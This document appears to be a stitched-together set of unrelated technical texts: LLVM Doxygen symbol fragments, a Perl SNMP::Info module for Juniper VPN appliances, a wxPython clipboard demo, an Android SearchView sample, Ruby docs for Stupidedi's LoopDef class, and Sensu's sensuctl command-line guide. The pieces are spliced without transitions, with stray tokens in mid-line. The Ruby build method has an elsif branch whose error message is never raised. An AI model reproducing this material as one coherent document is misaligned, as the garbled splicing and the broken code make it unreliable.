unsigned logBase2() const
Definition: APInt.h:1727
raw_ostream & dbgs()
dbgs() - This returns a reference to a raw_ostream for debugging messages.
Definition: Debug.cpp:132
void swap(llvm::BitVector &LHS, llvm::BitVector &RHS)
Implement std::swap in terms of BitVector swap.
Definition: BitVector.h:923
static SDValue performXORCombine(SDNode *N, SelectionDAG &DAG, const MipsSubtarget &Subtarget)
static SDValue performSETCCCombine(SDNode *N, SelectionDAG &DAG)
EVT getMemoryVT() const
Return the type of the in-memory value.
Class for arbitrary precision integers.
Definition: APInt.h:69
static bool isSplatVector(const BuildVectorSDNode *N)
Check if the given BuildVectorSDNode is a splat.
A "pseudo-class" with methods for operating on BUILD_VECTORs.
Select(COND, TRUEVAL, FALSEVAL).
Definition: ISDOpcodes.h:389
static SDValue performDSPShiftCombine(unsigned Opc, SDNode *N, EVT Ty, SelectionDAG &DAG, const MipsSubtarget &Subtarget)
bool isPowerOf2() const
Check if this APInt's value is a power of two greater than zero.
Definition: APInt.h:457
ZERO_EXTEND - Used for integer types, zeroing the new bits.
Definition: ISDOpcodes.h:445
static cl::opt< bool > NoDPLoadStore("mno-ldc1-sdc1", cl::init(false), cl::desc("Expand double precision loads and " "stores to their single precision " "counterparts"))
static SDValue lowerVECTOR_SHUFFLE_ILVOD(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
static SDValue lowerMSASplatZExt(SDValue Op, unsigned OpNr, SelectionDAG &DAG)
static SDValue performSRLCombine(SDNode *N, SelectionDAG &DAG, TargetLowering::DAGCombinerInfo &DCI, const MipsSubtarget &Subtarget)
FCOPYSIGN(X, Y) - Return the value of X with the sign of Y.
Definition: ISDOpcodes.h:287
int getMaskElt(unsigned Idx) const
FMINNAN/FMAXNAN - Behave identically to FMINNUM/FMAXNUM, except that when a single input is NaN...
Definition: ISDOpcodes.h:572
static bool isBitwiseInverse(SDValue N, SDValue OfNode)
MachineRegisterInfo - Keep track of information for virtual and physical registers, including vreg register classes, use/def chains for registers, etc.
Representation of each machine instruction.
Definition: MachineInstr.h:59
const MachineFunction * getParent() const
Return the MachineFunction containing this basic block.
LLVM_ATTRIBUTE_ALWAYS_INLINE iterator end()
Definition: SmallVector.h:120
bool isVector() const
Return true if this is a vector value type.
Definition: ValueTypes.h:151
const MachineInstrBuilder & addImm(int64_t Val) const
Add a new immediate operand.
Bitwise operators - logical and, logical or, logical xor.
Definition: ISDOpcodes.h:362
void splice(iterator Where, MachineBasicBlock *Other, iterator From)
Take an instruction from MBB 'Other' at the position From, and insert it into this MBB right before '...
MachineRegisterInfo & getRegInfo()
getRegInfo - Return information about the registers currently in use.
SMUL_LOHI/UMUL_LOHI - Multiply two integers of type iN, producing a signed/unsigned value of type i[2...
Definition: ISDOpcodes.h:205
bool is128BitVector() const
Return true if this is a 128-bit vector type.
Definition: ValueTypes.h:182
const MCInstrDesc & get(unsigned Opcode) const
Return the machine instruction descriptor that corresponds to the specified instruction opcode...
Definition: MCInstrInfo.h:45
LOAD and STORE have token chains as their first operand, then the same operands as an LLVM load/store...
Definition: ISDOpcodes.h:581
const TargetRegisterClass * getRepRegClassFor(MVT VT) const override
Return the 'representative' register class for the specified value type.
#define I(x, y, z)
Definition: MD5.cpp:58
#define N
const TargetSubtargetInfo & getSubtarget() const
Definition: SelectionDAG.h:390
Flags getFlags() const
Return the raw flags of the source value,.
SDValue lowerSTORE(SDValue Op, SelectionDAG &DAG) const
const BasicBlock * getBasicBlock() const
Return the LLVM basic block that this instance corresponded to originally.
static SDValue lowerMSABinaryBitImmIntr(SDValue Op, SelectionDAG &DAG, unsigned Opc, SDValue Imm, bool BigEndian)
MipsFunctionInfo - This class is derived from MachineFunction private Mips target-specific informatio...
LLVM_NODISCARD std::enable_if<!is_simple_type< Y >::value, typename cast_retty< X, const Y >::ret_type >::type dyn_cast(const Y &Val)
Definition: Casting.h:323
bool useOddSPReg() const
const MachineInstrBuilder & addReg(unsigned RegNo, unsigned flags=0, unsigned SubReg=0) const
Add a new virtual register operand.
unsigned getOpcode() const
FSINCOS - Compute both fsin and fcos as a single operation.
Definition: ISDOpcodes.h:575
SDValue getValue(unsigned R) const
unsigned getInRegsParamsCount() const
bool hasMips32r2() const
bool isReg() const
isReg - Tests if this is a MO_Register operand.
SDValue getConstant(uint64_t Val, const SDLoc &DL, EVT VT, bool isTarget=false, bool isOpaque=false)
Create a ConstantSDNode wrapping a constant value.
bool isABI_N64() const
assert(ImpDefSCC.getReg()==AMDGPU::SCC &&ImpDefSCC.isDef())
void insert(iterator MBBI, MachineBasicBlock *MBB)
int64_t getOffset() const
For normal values, this is a byte offset added to the base address.
LLVM Value Representation.
Definition: Value.h:73
uint64_t getConstantOperandVal(unsigned Num) const
Helper method returns the integer value of a ConstantSDNode operand.
FMA - Perform a * b + c with no intermediate rounding step.
Definition: ISDOpcodes.h:277
SDValue getValueType(EVT)
std::underlying_type< E >::type Mask()
Get a bitmask with 1s in all places up to the high-order bit of E's largest value.
Definition: BitmaskEnum.h:81
bool isUndef() const
Return true if the type of the node type undefined.
static SDValue lowerVECTOR_SHUFFLE_SHF(SDValue Op, EVT ResTy, SmallVector< int, 16 > Indices, SelectionDAG &DAG)
static SDValue lo | __label__pos | 0.794926 |
# SNMP::Info::Layer7::Neoteris # # Copyright (c) 2012 Eric Miller # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the University of California, Santa Cruz nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. package SNMP::Info::Layer7::Neoteris; use strict; use Exporter; use SNMP::Info::Layer7; @SNMP::Info::Layer7::Neoteris::ISA = qw/SNMP::Info::Layer7 Exporter/; @SNMP::Info::Layer7::Neoteris::EXPORT_OK = qw//; use vars qw/$VERSION %GLOBALS %MIBS %FUNCS %MUNGE/; $VERSION = '3.05'; %MIBS = ( %SNMP::Info::Layer7::MIBS, 'UCD-SNMP-MIB' => 'versionTag', 'JUNIPER-IVE-MIB' => 'productVersion', ); %GLOBALS = ( %SNMP::Info::Layer7::GLOBALS, 'os_ver' => 'productVersion', 'cpu' => 'iveCpuUtil', ); %FUNCS = ( %SNMP::Info::Layer7::FUNCS, ); %MUNGE = ( %SNMP::Info::Layer7::MUNGE, ); sub vendor { return 'juniper'; } sub os { return 'ive'; } sub serial { return ''; } 1; __END__ =head1 NAME SNMP::Info::Layer7::Neoteris - SNMP Interface to Juniper SSL VPN appliances =head1 AUTHORS Eric Miller =head1 SYNOPSIS # Let SNMP::Info determine the correct subclass for you. my $neoteris = new SNMP::Info( AutoSpecify => 1, Debug => 1, DestHost => 'myrouter', Community => 'public', Version => 2 ) or die "Can't connect to DestHost.\n"; my $class = $neoteris->class(); print "SNMP::Info determined this device to fall under subclass : $class\n"; =head1 DESCRIPTION Subclass for Juniper SSL VPN appliances =head2 Inherited Classes =over =item SNMP::Info::Layer7 =back =head2 Required MIBs =over =item F =item F =item Inherited Classes' MIBs See L for its own MIB requirements. =back =head1 GLOBALS These are methods that return scalar value from SNMP =over =item $neoteris->vendor() Returns 'juniper'. =item $neoteris->os() Returns C<'ive'>. =item $neoteris->os_ver() C =item $neoteris->cpu() C =item $neoteris->serial() Returns ''. =back =head2 Globals imported from SNMP::Info::Layer7 See documentation in L for details. =head1 TABLE ENTRIES These are methods that return tables of information in the form of a reference to a hash. =head2 Table Methods imported from SNMP::Info::Layer7 See documentation in L for details. =cut | __label__pos | 0.93336 |
import wx #---------------------------------------------------------------------- ID_CopyBtn = wx.NewId() ID_PasteBtn = wx.NewId() ID_BitmapBtn = wx.NewId() #---------------------------------------------------------------------- class ClipTextPanel(wx.Panel): def __init__(self, parent, log): wx.Panel.__init__(self, parent, -1) self.log = log #self.SetFont(wx.Font(10, wx.SWISS, wx.NORMAL, wx.BOLD, False)) sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add( wx.StaticText( self, -1, "Copy/Paste text to/from\n" "this window and other apps" ), 0, wx.EXPAND|wx.ALL, 2 ) self.text = wx.TextCtrl(self, -1, "", style=wx.TE_MULTILINE|wx.HSCROLL) sizer.Add(self.text, 1, wx.EXPAND) hsz = wx.BoxSizer(wx.HORIZONTAL) hsz.Add(wx.Button(self, ID_CopyBtn, " Copy "), 1, wx.EXPAND|wx.ALL, 2) hsz.Add(wx.Button(self, ID_PasteBtn, " Paste "), 1, wx.EXPAND|wx.ALL, 2) sizer.Add(hsz, 0, wx.EXPAND) sizer.Add( wx.Button(self, ID_BitmapBtn, " Copy Bitmap "), 0, wx.EXPAND|wx.ALL, 2 ) self.Bind(wx.EVT_BUTTON, self.OnCopy, id=ID_CopyBtn) self.Bind(wx.EVT_BUTTON, self.OnPaste, id=ID_PasteBtn) self.Bind(wx.EVT_BUTTON, self.OnCopyBitmap, id=ID_BitmapBtn) self.SetAutoLayout(True) self.SetSizer(sizer) def OnCopy(self, evt): self.do = wx.TextDataObject() self.do.SetText(self.text.GetValue()) if wx.TheClipboard.Open(): wx.TheClipboard.SetData(self.do) wx.TheClipboard.Close() else: wx.MessageBox("Unable to open the clipboard", "Error") def OnPaste(self, evt): success = False do = wx.TextDataObject() if wx.TheClipboard.Open(): success = wx.TheClipboard.GetData(do) wx.TheClipboard.Close() if success: self.text.SetValue(do.GetText()) else: wx.MessageBox( "There is no data in the clipboard in the required format", "Error" ) def OnCopyBitmap(self, evt): dlg = wx.FileDialog(self, "Choose a bitmap to copy", wildcard="*.bmp") if dlg.ShowModal() == wx.ID_OK: bmp = wx.Bitmap(dlg.GetPath(), wx.BITMAP_TYPE_BMP) bmpdo = wx.BitmapDataObject(bmp) if wx.TheClipboard.Open(): wx.TheClipboard.SetData(bmpdo) wx.TheClipboard.Close() wx.MessageBox( "The bitmap is now in the Clipboard. Switch to a graphics\n" "editor and try pasting it in..." ) else: wx.MessageBox( "There is no data in the clipboard in the required format", "Error" ) dlg.Destroy() #---------------------------------------------------------------------- class OtherDropTarget(wx.PyDropTarget): def __init__(self, window, log): wx.PyDropTarget.__init__(self) self.log = log self.do = wx.FileDataObject() self.SetDataObject(self.do) def OnEnter(self, x, y, d): self.log.WriteText("OnEnter: %d, %d, %d\n" % (x, y, d)) return wx.DragCopy #def OnDragOver(self, x, y, d): # self.log.WriteText("OnDragOver: %d, %d, %d\n" % (x, y, d)) # return wx.DragCopy def OnLeave(self): self.log.WriteText("OnLeave\n") def OnDrop(self, x, y): self.log.WriteText("OnDrop: %d %d\n" % (x, y)) return True def OnData(self, x, y, d): self.log.WriteText("OnData: %d, %d, %d\n" % (x, y, d)) self.GetData() self.log.WriteText("%s\n" % self.do.GetFilenames()) return d class MyFileDropTarget(wx.FileDropTarget): def __init__(self, window, log): wx.FileDropTarget.__init__(self) self.window = window self.log = log def OnDropFiles(self, x, y, filenames): self.window.SetInsertionPointEnd() self.window.WriteText("\n%d file(s) dropped at %d,%d:\n" % (len(filenames), x, y)) for file in filenames: self.window.WriteText(file + '\n') class MyTextDropTarget(wx.TextDropTarget): def __init__(self, window, log): wx.TextDropTarget.__init__(self) self.window = window self.log = log def OnDropText(self, x, y, text): self.window.WriteText("(%d, %d)\n%s\n" % (x, y, text)) def OnDragOver(self, x, y, d): return wx.DragCopy class FileDropPanel(wx.Panel): def __init__(self, parent, log): wx.Panel.__init__(self, parent, -1) #self.SetFont(wx.Font(10, wx.SWISS, wx.NORMAL, wx.BOLD, False)) sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add( wx.StaticText(self, -1, " \nDrag some files here:"), 0, wx.EXPAND|wx.ALL, 2 ) self.text = wx.TextCtrl( self, -1, "", style = wx.TE_MULTILINE|wx.HSCROLL|wx.TE_READONLY ) dt = MyFileDropTarget(self, log) self.text.SetDropTarget(dt) sizer.Add(self.text, 1, wx.EXPAND) sizer.Add( wx.StaticText(self, -1, " \nDrag some text here:"), 0, wx.EXPAND|wx.ALL, 2 ) self.text2 = wx.TextCtrl( self, -1, "", style = wx.TE_MULTILINE|wx.HSCROLL|wx.TE_READONLY ) dt = MyTextDropTarget(self.text2, log) self.text2.SetDropTarget(dt) sizer.Add(self.text2, 1, wx.EXPAND) self.SetAutoLayout(True) self.SetSizer(sizer) def WriteText(self, text): self.text.WriteText(text) def SetInsertionPointEnd(self): self.text.SetInsertionPointEnd() #---------------------------------------------------------------------- #---------------------------------------------------------------------- class TestPanel(wx.Panel): def __init__(self, parent, log): wx.Panel.__init__(self, parent, -1) self.SetAutoLayout(True) outsideSizer = wx.BoxSizer(wx.VERTICAL) msg = "Clipboard / Drag-And-Drop" text = wx.StaticText(self, -1, "", style=wx.ALIGN_CENTRE) text.SetFont(wx.Font(24, wx.SWISS, wx.NORMAL, wx.BOLD, False)) text.SetLabel(msg) w,h = text.GetTextExtent(msg) text.SetSize(wx.Size(w,h+1)) text.SetForegroundColour(wx.BLUE) outsideSizer.Add(text, 0, wx.EXPAND|wx.ALL, 5) outsideSizer.Add(wx.StaticLine(self, -1), 0, wx.EXPAND) inSizer = wx.BoxSizer(wx.HORIZONTAL) inSizer.Add(ClipTextPanel(self, log), 1, wx.EXPAND) inSizer.Add(FileDropPanel(self, log), 1, wx.EXPAND) outsideSizer.Add(inSizer, 1, wx.EXPAND) self.SetSizer(outsideSizer) #---------------------------------------------------------------------- def runTest(frame, nb, log): win = TestPanel(nb, log) return win #---------------------------------------------------------------------- overview = """\ This demo shows some examples of data transfer through clipboard or drag and drop. In wxWindows, these two ways to transfer data (either between different applications or inside one and the same) are very similar which allows to implement both of them using almost the same code - or, in other words, if you implement drag and drop support for your application, you get clipboard support for free and vice versa.
At the heart of both clipboard and drag and drop operations lies the wxDataObject class. The objects of this class (or, to be precise, classes derived from it) represent the data which is being carried by the mouse during drag and drop operation or copied to or pasted from the clipboard. wxDataObject is a "smart" piece of data because it knows which formats it supports (see GetFormatCount and GetAllFormats) and knows how to render itself in any of them (see GetDataHere). It can also receive its value from the outside in a format it supports if it implements the SetData method. Please see the documentation of this class for more details.
Both clipboard and drag and drop operations have two sides: the source and target, the data provider and the data receiver. These which may be in the same application and even the same window when, for example, you drag some text from one position to another in a word processor. Let us describe what each of them should do. """ if __name__ == '__main__': import sys,os import run run.main(['', os.path.basename(sys.argv[0])] + sys.argv[1:]) | __label__pos | 0.944659 |
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Android APIs
SearchViewActionBar.java
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The file containing the source code shown below is located in the corresponding directory in <sdk>/samples/android-<version>/...
/*
* Copyright (C) 2010 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.example.android.apis.view;
import com.example.android.apis.R;
import android.app.Activity;
import android.app.SearchManager;
import android.app.SearchableInfo;
import android.content.Context;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.Window;
import android.view.MenuItem.OnActionExpandListener;
import android.widget.Button;
import android.widget.SearchView;
import android.widget.TextView;
import java.util.List;
/**
* This demonstrates the usage of SearchView in an ActionBar as a menu item.
* It sets a SearchableInfo on the SearchView for suggestions and submitting queries to.
*/
public class SearchViewActionBar extends Activity implements SearchView.OnQueryTextListener {
private SearchView mSearchView;
private TextView mStatusView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().requestFeature(Window.FEATURE_ACTION_BAR);
setContentView(R.layout.searchview_actionbar);
mStatusView = (TextView) findViewById(R.id.status_text);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
super.onCreateOptionsMenu(menu);
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.searchview_in_menu, menu);
MenuItem searchItem = menu.findItem(R.id.action_search);
mSearchView = (SearchView) searchItem.getActionView();
setupSearchView(searchItem);
return true;
}
private void setupSearchView(MenuItem searchItem) {
if (isAlwaysExpanded()) {
mSearchView.setIconifiedByDefault(false);
} else {
searchItem.setShowAsActionFlags(MenuItem.SHOW_AS_ACTION_IF_ROOM
| MenuItem.SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW);
}
SearchManager searchManager = (SearchManager) getSystemService(Context.SEARCH_SERVICE);
if (searchManager != null) {
List<SearchableInfo> searchables = searchManager.getSearchablesInGlobalSearch();
// Try to use the "applications" global search provider
SearchableInfo info = searchManager.getSearchableInfo(getComponentName());
for (SearchableInfo inf : searchables) {
if (inf.getSuggestAuthority() != null
&& inf.getSuggestAuthority().startsWith("applications")) {
info = inf;
}
}
mSearchView.setSearchableInfo(info);
}
mSearchView.setOnQueryTextListener(this);
}
public boolean onQueryTextChange(String newText) {
mStatusView.setText("Query = " + newText);
return false;
}
public boolean onQueryTextSubmit(String query) {
mStatusView.setText("Query = " + query + " : submitted");
return false;
}
public boolean onClose() {
mStatusView.setText("Closed!");
return false;
}
protected boolean isAlwaysExpanded() {
return false;
}
} | __label__pos | 0.527547 |
Class: Stupidedi::Schema::LoopDef
Inherits:
AbstractDef show all
Includes:
Inspect
Defined in:
lib/stupidedi/schema/loop_def.rb
Overview
See Also:
• 2.2.2 Loops
• B.1.3.12.4 Loops of Data Segments
Instance Attribute Summary collapse
Constructors collapse
Instance Method Summary collapse
Methods included from Inspect
#inspect
Methods inherited from AbstractDef
#component?, #composite?, #definition?, #element?, #functional_group?, #interchange?, #repeated?, #segment?, #simple?, #table?, #transaction_set?, #usage?
Constructor Details
#initialize(id, repeat_count, header_segment_uses, loop_defs, trailer_segment_uses, parent) ⇒ LoopDef
Returns a new instance of LoopDef
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# File 'lib/stupidedi/schema/loop_def.rb', line 37
def initialize(id, repeat_count, header_segment_uses, loop_defs, trailer_segment_uses, parent)
@id, @repeat_count, @header_segment_uses, @loop_defs, @trailer_segment_uses, @parent =
id, repeat_count, header_segment_uses, loop_defs, trailer_segment_uses, parent
# Delay re-parenting until the entire definition tree has a root
# to prevent unnecessarily copying objects
unless parent.nil?
@header_segment_uses = @header_segment_uses.map{|x| x.copy(:parent => self) }
@loop_defs = @loop_defs.map{|x| x.copy(:parent => self) }
@trailer_segment_uses = @trailer_segment_uses.map{|x| x.copy(:parent => self) }
end
end
Instance Attribute Details
#header_segment_usesArray<SegmentUse> (readonly)
Returns:
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# File 'lib/stupidedi/schema/loop_def.rb', line 22
def header_segment_uses
@header_segment_uses
end
#idString (readonly)
Returns:
• (String)
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# File 'lib/stupidedi/schema/loop_def.rb', line 16
def id
@id
end
#loop_defsArray<LoopDef> (readonly)
Returns:
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# File 'lib/stupidedi/schema/loop_def.rb', line 28
def loop_defs
@loop_defs
end
#parentLoopDef, TableDef (readonly)
Returns:
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# File 'lib/stupidedi/schema/loop_def.rb', line 31
def parent
@parent
end
#repeat_countRepeatCount (readonly)
Returns:
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# File 'lib/stupidedi/schema/loop_def.rb', line 19
def repeat_count
@repeat_count
end
#trailer_segment_usesArray<SegmentUse> (readonly)
Returns:
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# File 'lib/stupidedi/schema/loop_def.rb', line 25
def trailer_segment_uses
@trailer_segment_uses
end
Class Method Details
.build(id, repeat_count, *children) ⇒ LoopDef
Returns:
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# File 'lib/stupidedi/schema/loop_def.rb', line 136
def build(id, repeat_count, *children)
header, children = children.split_when{|x| x.is_a?(LoopDef) }
loop_defs, trailer = children.split_when{|x| x.is_a?(SegmentUse) }
# @todo: Ensure there is at least one SegmentUse in header
if header.empty?
raise Exceptions::InvalidSchemaError,
"first child must be a SegmentUse"
elsif header.head.repeat_count.include?(2)
"first child must have RepeatCount.bounded(1)"
end
new(id, repeat_count, header, loop_defs, trailer, nil)
end
Instance Method Details
#bounded?Boolean
Returns:
• (Boolean)
See Also:
• B.1.1.3.11.1 Loop Control Segments
• B.1.1.3.12.4 Loops of Data Segments Bounded Loops
67
68
69
70
# File 'lib/stupidedi/schema/loop_def.rb', line 67
def bounded?
@header_segment_uses.head.definition.id == :LS and
@trailer_segment_uses.last.definition.id == :LE
end
#childrenArray<SegmentUse, LoopDef>
Returns:
83
84
85
# File 'lib/stupidedi/schema/loop_def.rb', line 83
def children
@header_segment_uses + @loop_defs + @trailer_segment_uses
end
#code_listsAbstractSet<CodeList>
Returns:
97
98
99
# File 'lib/stupidedi/schema/loop_def.rb', line 97
def code_lists
children.map(&:code_lists).inject(&:|)
end
#copy(changes = {}) ⇒ LoopDef
Returns:
51
52
53
54
55
56
57
58
59
# File 'lib/stupidedi/schema/loop_def.rb', line 51
def copy(changes = {})
LoopDef.new \
changes.fetch(:id, @id),
changes.fetch(:repeat_count, @repeat_count),
changes.fetch(:header_segment_uses, @header_segment_uses),
changes.fetch(:loop_defs, @loop_defs),
changes.fetch(:trailer_segment_uses, @trailer_segment_uses),
changes.fetch(:parent, @parent)
end
#emptyLoopVal
Returns:
• (LoopVal)
88
89
90
# File 'lib/stupidedi/schema/loop_def.rb', line 88
def empty
Values::LoopVal.new(self, [])
end
#entry_segment_useSegmentUse
Returns:
78
79
80
# File 'lib/stupidedi/schema/loop_def.rb', line 78
def entry_segment_use
@header_segment_uses.head
end
#hierarchical?Boolean
Returns:
• (Boolean)
See Also:
• 5.6 HL-initiated Loop
73
74
75
# File 'lib/stupidedi/schema/loop_def.rb', line 73
def hierarchical?
@header_segment_uses.head.definition.id == :HL
end
#loop?Boolean
Returns:
• (Boolean)
92
93
94
# File 'lib/stupidedi/schema/loop_def.rb', line 92
def loop?
true
end
#pretty_print(q)
This method returns an undefined value.
102
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104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# File 'lib/stupidedi/schema/loop_def.rb', line 102
def pretty_print(q)
q.text("LoopDef[#{@id}]")
q.group(2, "(", ")") do
q.breakable ""
@header_segment_uses.each do |e|
unless q.current_group.first?
q.text ","
q.breakable
end
q.pp e
end
@loop_defs.each do |e|
unless q.current_group.first?
q.text ","
q.breakable
end
q.pp e
end
@trailer_segment_uses.each do |e|
unless q.current_group.first?
q.text ","
q.breakable
end
q.pp e
end
end
end
#repeatable?Boolean
Returns:
• (Boolean)
61
62
63
# File 'lib/stupidedi/schema/loop_def.rb', line 61
def repeatable?
@repeat_count.try{|r| r.include?(2) }
end | __label__pos | 0.896994 |
Sensuctl
Sensuctl is a command line tool for managing resources within Sensu. It works by calling Sensu’s underlying API to create, read, update, and delete resources, events, and entities. Sensuctl is available for Linux, macOS, and Windows. See the installation guide to install and configure sensuctl.
Getting help
Sensuctl supports a --help flag for each command and subcommand.
# See command and global flags
sensuctl --help
# See subcommands and flags
sensuctl check --help
# See usage and flags
sensuctl check delete --help
First-time setup
To set up sensuctl, run sensuctl configure to log in to sensuctl and connect to the Sensu backend.
sensuctl configure
When prompted, input the Sensu backend URL and your Sensu access credentials.
? Sensu Backend URL: http://127.0.0.1:8080
? Username: admin
? Password: P@ssw0rd!
? Namespace: default
? Preferred output format: tabular
Sensu backend URL
The HTTP or HTTPS URL where sensuctl can connect to the Sensu backend server, defaulting to http://127.0.0.1:8080. When connecting to a Sensu cluster, connect sensuctl to any single backend in the cluster. For more information on configuring the Sensu backend URL, see the backend reference.
Username | password | namespace
By default, Sensu includes a user named admin with password P@ssw0rd! and a default namespace. Your ability to get, list, create, update, and delete resources with sensuctl depends on the permissions assigned to your Sensu user. For more information about configuring Sensu access control, see the RBAC reference.
Preferred output format
Sensuctl supports the following output formats:
Once logged in, you can change the output format using sensuctl config set-format or set it per command using the --format flag.
Managing sensuctl
The sencutl config command lets you view the current sensuctl configuration and set the namespace and output format.
View sensuctl config
To view the active configuration for sensuctl:
sensuctl config view
Sensuctl configuration includes the Sensu backend url, Sensu edition (Core or Enterprise), the default output format for the current user, and the default namespace for the current user.
api-url: http://127.0.0.1:8080
edition: core
format: wrapped-json
namespace: default
Set output format
You can use the set-format command to change the default output format for the current user. For example, to change the output format to tabular:
sensuctl config set-format tabular
Set namespace
You can use the set-namespace command to change the default namespace for the current user. For more information about configuring Sensu access control, see the RBAC reference. For example, to change the default namespace to development:
sensuctl config set-namespace development
Log out of sensuctl
To log out of sensuctl:
sensuctl logout
To log back in:
sensuctl configure
View the sensuctl version number
To display the current version of sensuctl:
sensuctl version
Global flags
Global flags modify settings specific to sensuctl, such as the Sensu backend URL and namespace. You can use global flags with most sensuctl commands.
--api-url string host URL of Sensu installation
--cache-dir string path to directory containing cache & temporary files
--config-dir string path to directory containing configuration files
--namespace string namespace in which we perform actions (default: "default")
Creating resources
The sensuctl create command allows you to create or update resources by reading from STDIN or a flag configured file (-f). The create command accepts Sensu resource definitions in wrapped-json and yaml. Both JSON and YAML resource definitions wrap the contents of the resource in spec and identify the resource type (see below for an example, and this table for a list of supported types). See the reference docs for information about creating resource definitions.
For example, the following file my-resources.json specifies two resources: a marketing-site check and a slack handler.
{
"type": "CheckConfig",
"spec": {
"command": "check-http.go -u https://dean-learner.book",
"subscriptions": ["demo"],
"interval": 15,
"handlers": ["slack"],
"metadata" : {
"name": "marketing-site",
"namespace": "default"
}
}
}
{
"type": "Handler",
"api_version": "core/v2",
"metadata": {
"name": "slack",
"namespace": "default"
},
"spec": {
"command": "sensu-slack-handler --channel '#monitoring'",
"env_vars": [
"SLACK_WEBHOOK_URL=https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX"
],
"filters": [
"is_incident",
"not_silenced"
],
"handlers": [],
"runtime_assets": [],
"timeout": 0,
"type": "pipe"
}
}
NOTE: Commas cannot be included between JSON resource definitions when using sensuctl create.
To create all resources from my-resources.json using sensuctl create:
sensuctl create --file my-resources.json
Or:
cat my-resources.json | sensuctl create
sensuctl create resource types
sensuctl create types
AdhocRequest adhoc_request Asset asset
CheckConfig check_config ClusterRole cluster_role
ClusterRoleBinding cluster_role_binding Entity entity
Event event EventFilter event_filter
Handler handler Hook hook
HookConfig hook_config Mutator mutator
Namespace namespace Role role
RoleBinding role_binding Silenced silenced
Updating resources
Sensuctl allows you to update resource definitions using a text editor. To use sensuctl edit, specify the resource type and resource name.
For example, to edit a handler named slack using sensuctl edit:
sensuctl edit handler slack
sensuctl edit resource types
sensuctl edit types
asset check cluster cluster-role
cluster-role-binding entity event filter
handler hook mutator namespace
role role-binding silenced user
Managing resources
Sensuctl provides the following commands to manage Sensu resources.
Subcommands
Sensuctl provides a standard set of list, info, and delete operations for most resource types.
list list resources
info NAME show detailed resource information given resource name
delete NAME delete resource given resource name
For example, to list all monitoring checks:
sensuctl check list
To write all checks to my-resources.json in wrapped-json format:
sensuctl check list --format wrapped-json > my-resources.json
To see the definition for a check named check-cpu in wrapped-json format:
sensuctl check info check-cpu --format wrapped-json
In addition to the standard operations, commands may support subcommands or flags that allow you to take special action based on the resource type; the following sections call out those resource-specific operations. For a list of subcommands specific to a resource, run sensuctl TYPE --help.
sensuctl check
In addition to the standard subcommands, sensuctl provides a command to execute a check on demand, given the check name.
sensuctl check execute NAME
For example, the following command executes the check-cpu check with an attached message:
sensuctl check execute check-cpu --reason "giving a sensuctl demo"
You can also use the --subscriptions flag to override the subscriptions in the check definition:
sensuctl check execute check-cpu --subscriptions demo,webserver
sensuctl cluster
The sensuctl cluster command lets you manage a Sensu cluster using the following subcommands.
health get sensu health status
member-add add cluster member to an existing cluster, with comma-separated peer addresses
member-list list cluster members
member-remove remove cluster member by ID
member-update update cluster member by ID with comma-separated peer addresses
To view cluster members:
sensuctl cluster member-list
To see the health of your Sensu cluster:
sensuctl cluster health
sensuctl event
In addition to the standard subcommands, sensuctl provides a command to resolve an event.
sensuctl event resolve ENTITY CHECK
For example, the following command manually resolves an event created by the entity webserver1 and the check check-http:
sensuctl event resolve webserver1 check-http
sensuctl namespace
See the RBAC reference for information about using access control with namespaces.
sensuctl user
See the RBAC reference for information about local user management with sensuctl.
Time formats
Sensuctl supports multiple time formats depending on the manipulated resource. Supported canonical time zone IDs are defined in the tz database.
WARNING: Canonical zone IDs (i.e. America/Vancouver) are not supported on Windows.
Dates with time
Full dates with time are used to specify an exact point in time, which can be used with silencing entries, for example. The following formats are supported:
• RFC3339 with numeric zone offset: 2018-05-10T07:04:00-08:00 or 2018-05-10T15:04:00Z
• RFC3339 with space delimiters and numeric zone offset: 2018-05-10 07:04:00 -08:00
• Sensu alpha legacy format with canonical zone ID: May 10 2018 7:04AM America/Vancouver
Shell auto-completion
Installation (Bash Shell)
